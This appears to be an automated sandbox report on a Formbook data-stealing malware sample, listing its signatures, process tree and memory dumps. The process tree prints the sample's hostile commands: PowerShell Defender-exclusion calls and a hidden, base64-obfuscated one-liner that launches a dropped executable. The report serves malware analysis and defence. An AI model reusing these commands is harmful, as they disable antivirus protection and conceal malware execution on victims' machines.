Analysis
- max time kernel
150s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/09/2026, 10:43
General
- Target 6fd53ae72adea774fa0bbdadcad880f0e171d1377c365c86a58232827828b66b.exe
- Size 1.1MB
- Sample260910-msdrmsvxbz
- SHA256 6fd53ae72adea774fa0bbdadcad880f0e171d1377c365c86a58232827828b66b
Malware Config
Signatures
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 5 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 7 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 36 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 9 IoCs
- Suspicious use of AdjustPrivilegeToken 11 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\6fd53ae72adea774fa0bbdadcad880f0e171d1377c365c86a58232827828b66b.exe"C:\Users\Admin\AppData\Local\Temp\6fd53ae72adea774fa0bbdadcad880f0e171d1377c365c86a58232827828b66b.exe"2⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6fd53ae72adea774fa0bbdadcad880f0e171d1377c365c86a58232827828b66b.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$zw2hez=$env:COMPUTERNAME;$sti4g3=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$coj53h=Get-Date;$bd0ks5=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGJMLmV4ZQ==')));$coj53h=Get-Date;& $sti4g3 -FilePath $bd0ks5"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\bL.exe"C:\Users\Admin\AppData\Roaming\bL.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\bL.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\wusa.exe"C:\Windows\SysWOW64\wusa.exe"1⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
- outlook_office_path
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
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C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"2⤵
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_0hw1n31e.djw.ps1
bL.exe
memory/1104-73-0x0000000000CF0000-0x0000000002826000-memory.dmp
memory/1104-58-0x0000000000CF0000-0x0000000002826000-memory.dmp
memory/1424-105-0x000001C10D4C0000-0x000001C10D5D2000-memory.dmp
memory/1864-99-0x0000000007670000-0x0000000007681000-memory.dmp
memory/1864-80-0x0000000005AD0000-0x0000000005E24000-memory.dmp
memory/1864-89-0x0000000006660000-0x00000000066AC000-memory.dmp
memory/1864-90-0x0000000070980000-0x00000000709CC000-memory.dmp
memory/1864-98-0x00000000073B0000-0x0000000007453000-memory.dmp
memory/1864-100-0x00000000076B0000-0x00000000076C4000-memory.dmp
memory/2876-14-0x0000000001400000-0x0000000001446000-memory.dmp
memory/2876-67-0x0000000001400000-0x0000000001446000-memory.dmp
memory/2876-20-0x00000000017C0000-0x0000000001B0A000-memory.dmp
memory/2876-74-0x0000000001400000-0x0000000001446000-memory.dmp
memory/2876-13-0x0000000000400000-0x0000000000446000-memory.dmp
memory/2876-34-0x0000000001400000-0x0000000001446000-memory.dmp
memory/3148-48-0x0000000071AA0000-0x0000000071AEC000-memory.dmp
memory/3148-60-0x0000000005100000-0x000000000511A000-memory.dmp
memory/3148-32-0x0000000006390000-0x00000000063AE000-memory.dmp
memory/3148-33-0x0000000006900000-0x000000000694C000-memory.dmp
memory/3148-24-0x0000000005D30000-0x0000000006084000-memory.dmp
memory/3148-16-0x0000000004DF0000-0x0000000004E26000-memory.dmp
memory/3148-23-0x0000000005B00000-0x0000000005B66000-memory.dmp
memory/3148-56-0x0000000006950000-0x000000000696E000-memory.dmp
memory/3148-22-0x0000000005A90000-0x0000000005AF6000-memory.dmp
memory/3148-47-0x0000000007370000-0x00000000073A2000-memory.dmp
memory/3148-57-0x00000000073B0000-0x0000000007453000-memory.dmp
memory/3148-21-0x00000000052C0000-0x00000000052E2000-memory.dmp
memory/3148-59-0x0000000007CF0000-0x000000000836A000-memory.dmp
memory/3148-17-0x0000000002A80000-0x0000000002A90000-memory.dmp
memory/3148-61-0x0000000007740000-0x000000000774A000-memory.dmp
memory/3148-62-0x0000000007950000-0x00000000079E6000-memory.dmp
memory/3148-63-0x00000000078D0000-0x00000000078E1000-memory.dmp
memory/3148-64-0x0000000007900000-0x000000000790E000-memory.dmp
memory/3148-65-0x0000000007910000-0x0000000007924000-memory.dmp
memory/3148-18-0x0000000002A80000-0x0000000002A90000-memory.dmp
memory/3148-19-0x0000000005460000-0x0000000005A88000-memory.dmp
memory/3148-68-0x0000000007A10000-0x0000000007A2A000-memory.dmp
memory/3148-69-0x00000000079F0000-0x00000000079F8000-memory.dmp
memory/3256-35-0x0000024FA3E90000-0x0000024FA3EB2000-memory.dmp
memory/3300-76-0x0000000009120000-0x0000000009217000-memory.dmp
memory/3816-9-0x0000000007CB0000-0x0000000007D98000-memory.dmp
memory/3816-0-0x0000000000D10000-0x0000000000E3A000-memory.dmp
memory/3816-8-0x0000000005A30000-0x0000000005A40000-memory.dmp
memory/3816-7-0x0000000005A30000-0x0000000005A40000-memory.dmp
memory/3816-6-0x0000000005D00000-0x0000000005D24000-memory.dmp
memory/3816-5-0x0000000005AE0000-0x0000000005B7C000-memory.dmp
memory/3816-4-0x0000000005830000-0x000000000583A000-memory.dmp
memory/3816-3-0x0000000005A30000-0x0000000005A40000-memory.dmp
memory/3816-2-0x0000000005850000-0x00000000058E2000-memory.dmp
memory/3816-1-0x0000000005D60000-0x0000000006304000-memory.dmp
memory/4288-75-0x0000000000780000-0x00000000007C3000-memory.dmp
memory/4288-66-0x0000000000780000-0x00000000007C3000-memory.dmp
memory/4308-109-0x00000155C5E10000-0x00000155C5EBA000-memory.dmp